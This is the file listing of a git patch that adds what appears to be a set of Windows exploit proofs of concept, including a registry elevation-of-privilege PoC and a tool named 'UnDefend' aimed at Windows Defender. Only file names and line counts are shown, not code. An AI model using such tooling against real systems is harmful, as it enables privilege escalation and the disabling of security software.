From 136c00b4908df0c09b9ed4903f2bea2e335c6a5d Mon Sep 17 00:00:00 2001 From: nctu6 Date: Mon, 25 May 2026 15:47:26 +0800 Subject: [PATCH] https://gitlab.com/nightmare-eclipse --- .gitattributes | 10 + BlueHammer/FunnyApp.aps | Bin 0 -> 1324 bytes BlueHammer/FunnyApp.cpp | 3313 +++++++ BlueHammer/FunnyApp.rc | Bin 0 -> 2668 bytes BlueHammer/FunnyApp.sln | 31 + BlueHammer/FunnyApp.vcxproj | 181 + BlueHammer/FunnyApp.vcxproj.filters | 49 + BlueHammer/FunnyApp.vcxproj.user | 4 + BlueHammer/LICENSE | 21 + BlueHammer/README.md | 19 + BlueHammer/offreg.h | 239 + BlueHammer/offreg.lib | Bin 0 -> 6820 bytes BlueHammer/resource.h | 14 + BlueHammer/windefend.idl | 2413 +++++ BlueHammer/windefend_c.c | 3 + BlueHammer/windefend_h.h | 2586 ++++++ BlueHammer/windefend_s.c | 3 + MiniPlasma/LICENSE | 21 + ...PoC_AbortHydration_ArbitraryRegKey_EoP.sln | 25 + .../App.config | 6 + .../FodyWeavers.xml | 3 + .../FodyWeavers.xsd | 186 + ..._AbortHydration_ArbitraryRegKey_EoP.csproj | 125 + ...tHydration_ArbitraryRegKey_EoP.csproj.user | 13 + .../Program.cs | 369 + .../Properties/AssemblyInfo.cs | 36 + .../packages.config | 7 + MiniPlasma/README.md | 16 + .../Costura.Fody.6.2.0/.signature.p7s | Bin 0 -> 13000 bytes .../Costura.Fody.6.2.0.nupkg | Bin 0 -> 245231 bytes .../build/Costura.Fody.props | 15 + .../build/Costura.Fody.targets | 13 + .../packages/Costura.Fody.6.2.0/icon.png | Bin 0 -> 1518 bytes .../lib/netstandard2.0/Costura.dll | Bin 0 -> 5120 bytes .../lib/netstandard2.0/Costura.pdb | Bin 0 -> 8172 bytes .../lib/netstandard2.0/Costura.xml | 23 + .../netclassicweaver/Costura.Fody.dll | Bin 0 -> 256512 bytes .../netclassicweaver/Costura.Fody.xcf | 160 + .../netstandardweaver/Costura.Fody.dll | Bin 0 -> 259072 bytes .../netstandardweaver/Costura.Fody.xcf | 160 + MiniPlasma/packages/Fody.6.9.3/.signature.p7s | Bin 0 -> 13004 bytes .../packages/Fody.6.9.3/Fody.6.9.3.nupkg | Bin 0 -> 921204 bytes .../packages/Fody.6.9.3/build/Fody.targets | 149 + .../packages/Fody.6.9.3/package_icon.png | Bin 0 -> 1755 bytes .../packages/Fody.6.9.3/package_readme.md | 6 + .../Fody.6.9.3/tasks/net472/FodyCommon.dll | Bin 0 -> 16896 bytes .../Fody.6.9.3/tasks/net472/FodyHelpers.dll | Bin 0 -> 49664 bytes .../Fody.6.9.3/tasks/net472/FodyHelpers.xml | 293 + .../Fody.6.9.3/tasks/net472/FodyIsolated.dll | Bin 0 -> 41984 bytes .../Fody.6.9.3/tasks/net472/FodyTasks.dll | Bin 0 -> 58368 bytes .../tasks/net472/Mono.Cecil.Pdb.dll | Bin 0 -> 90112 bytes .../tasks/net472/Mono.Cecil.Pdb.pdb | Bin 0 -> 27668 bytes .../tasks/net472/Mono.Cecil.Rocks.dll | Bin 0 -> 29696 bytes .../tasks/net472/Mono.Cecil.Rocks.pdb | Bin 0 -> 9608 bytes .../Fody.6.9.3/tasks/net472/Mono.Cecil.dll | Bin 0 -> 363008 bytes .../Fody.6.9.3/tasks/net472/Mono.Cecil.pdb | Bin 0 -> 187888 bytes .../tasks/netstandard2.0/FodyCommon.dll | Bin 0 -> 37888 bytes .../tasks/netstandard2.0/FodyHelpers.dll | Bin 0 -> 70656 bytes .../tasks/netstandard2.0/FodyHelpers.xml | 293 + .../tasks/netstandard2.0/FodyIsolated.dll | Bin 0 -> 62976 bytes .../tasks/netstandard2.0/FodyTasks.dll | Bin 0 -> 79360 bytes .../tasks/netstandard2.0/Mono.Cecil.Pdb.dll | Bin 0 -> 90112 bytes .../tasks/netstandard2.0/Mono.Cecil.Pdb.pdb | Bin 0 -> 33968 bytes .../tasks/netstandard2.0/Mono.Cecil.Rocks.dll | Bin 0 -> 27136 bytes .../tasks/netstandard2.0/Mono.Cecil.Rocks.pdb | Bin 0 -> 15072 bytes .../tasks/netstandard2.0/Mono.Cecil.dll | Bin 0 -> 361472 bytes .../tasks/netstandard2.0/Mono.Cecil.pdb | Bin 0 -> 193236 bytes .../NtApiDotNet.1.1.33/.signature.p7s | Bin 0 -> 9464 bytes .../NtApiDotNet.1.1.33.nupkg | 3 + .../lib/net461/NtApiDotNet.dll | 3 + .../lib/net461/NtApiDotNet.xml | 3 + .../lib/netstandard2.0/NtApiDotNet.dll | 3 + .../lib/netstandard2.0/NtApiDotNet.xml | 3 + .../TaskScheduler.2.12.2/.signature.p7s | Bin 0 -> 12919 bytes .../TaskScheduler.2.12.2.nupkg | 3 + .../TaskScheduler.2.12.2/TaskService.md | 72 + .../net45/Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 333312 bytes .../net45/Microsoft.Win32.TaskScheduler.xml | 7855 +++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../net48/Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 333312 bytes .../net48/Microsoft.Win32.TaskScheduler.xml | 7855 +++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 335872 bytes .../Microsoft.Win32.TaskScheduler.xml | 7855 +++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 335872 bytes .../Microsoft.Win32.TaskScheduler.xml | 7855 +++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 335360 bytes .../Microsoft.Win32.TaskScheduler.xml | 7855 +++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 336384 bytes .../Microsoft.Win32.TaskScheduler.xml | 7855 +++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 334848 bytes .../Microsoft.Win32.TaskScheduler.xml | 7855 +++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 333312 bytes .../Microsoft.Win32.TaskScheduler.xml | 7855 +++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../Microsoft.Win32.TaskScheduler.dll | Bin 0 -> 333312 bytes .../Microsoft.Win32.TaskScheduler.xml | 7855 +++++++++++++++++ ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10752 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 10240 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes ...icrosoft.Win32.TaskScheduler.resources.dll | Bin 0 -> 9728 bytes .../packages/TaskScheduler.2.12.2/tsnew48.png | Bin 0 -> 1810 bytes RedSun/LICENSE | 21 + RedSun/README.md | 9 + RedSun/RedSun.cpp | 777 ++ RedSun/redsun.jpg | Bin 0 -> 65750 bytes .../FsTxLogs/FsTxKtmLog.blf | Bin 0 -> 65536 bytes .../FsTxKtmLogContainer00000000000000000001 | Bin 0 -> 524288 bytes .../FsTxKtmLogContainer00000000000000000002 | Bin 0 -> 524288 bytes .../FsTxLogs/FsTxLog.blf | Bin 0 -> 65536 bytes .../FsTxLogContainer00000000000000000001 | 3 + .../FsTxLogContainer00000000000000000002 | 3 + .../FsTxTemp/98F62703B343F111A92A005056975458 | 0 YellowKey/LICENSE | 21 + YellowKey/README.md | 20 + YellowKey/shell.png | Bin 0 -> 21544 bytes green-plasma/GreenPlasma.cpp | 244 + green-plasma/LICENSE | 21 + green-plasma/README.md | 10 + un-defend/EngineUnavailable.png | Bin 0 -> 58225 bytes un-defend/LICENSE | 21 + un-defend/README.md | 16 + un-defend/UnDefend.cpp | 452 + un-defend/UpdateError.png | Bin 0 -> 93540 bytes 216 files changed, 83208 insertions(+) create mode 100644 .gitattributes create mode 100644 BlueHammer/FunnyApp.aps create mode 100644 BlueHammer/FunnyApp.cpp create mode 100644 BlueHammer/FunnyApp.rc create mode 100644 BlueHammer/FunnyApp.sln create mode 100644 BlueHammer/FunnyApp.vcxproj create mode 100644 BlueHammer/FunnyApp.vcxproj.filters create mode 100644 BlueHammer/FunnyApp.vcxproj.user create mode 100644 BlueHammer/LICENSE create mode 100644 BlueHammer/README.md create mode 100644 BlueHammer/offreg.h create mode 100644 BlueHammer/offreg.lib create mode 100644 BlueHammer/resource.h create mode 100644 BlueHammer/windefend.idl create mode 100644 BlueHammer/windefend_c.c create mode 100644 BlueHammer/windefend_h.h create mode 100644 BlueHammer/windefend_s.c create mode 100644 MiniPlasma/LICENSE create mode 100644 MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP.sln create mode 100644 MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/App.config create mode 100644 MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml create mode 100644 MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd create mode 100644 MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj create mode 100644 MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/PoC_AbortHydration_ArbitraryRegKey_EoP.csproj.user create mode 100644 MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs create mode 100644 MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/Properties/AssemblyInfo.cs create mode 100644 MiniPlasma/PoC_AbortHydration_ArbitraryRegKey_EoP/packages.config create mode 100644 MiniPlasma/README.md create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/.signature.p7s create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/Costura.Fody.6.2.0.nupkg create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.props create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/build/Costura.Fody.targets create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/icon.png create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.dll create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.pdb create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/lib/netstandard2.0/Costura.xml create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.dll create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/netclassicweaver/Costura.Fody.xcf create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.dll create mode 100644 MiniPlasma/packages/Costura.Fody.6.2.0/netstandardweaver/Costura.Fody.xcf create mode 100644 MiniPlasma/packages/Fody.6.9.3/.signature.p7s create mode 100644 MiniPlasma/packages/Fody.6.9.3/Fody.6.9.3.nupkg create mode 100644 MiniPlasma/packages/Fody.6.9.3/build/Fody.targets create mode 100644 MiniPlasma/packages/Fody.6.9.3/package_icon.png create mode 100644 MiniPlasma/packages/Fody.6.9.3/package_readme.md create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyCommon.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyHelpers.xml create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyIsolated.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/FodyTasks.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Pdb.pdb create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.Rocks.pdb create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/net472/Mono.Cecil.pdb create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyCommon.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.xml create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyIsolated.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyTasks.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.pdb create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Rocks.pdb create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.dll create mode 100644 MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.pdb create mode 100644 MiniPlasma/packages/NtApiDotNet.1.1.33/.signature.p7s create mode 100644 MiniPlasma/packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg create mode 100644 MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll create mode 100644 MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml create mode 100644 MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll create mode 100644 MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/.signature.p7s create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/TaskService.md create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.xml create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/ja/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/sv/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/tr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/Microsoft.Win32.TaskScheduler.xml create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.xml create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/Microsoft.Win32.TaskScheduler.xml create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/sv/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/tr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/Microsoft.Win32.TaskScheduler.xml create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/it/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 MiniPlasma/packages/TaskScheduler.2.12.2/lib/net8.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll create mode 100644 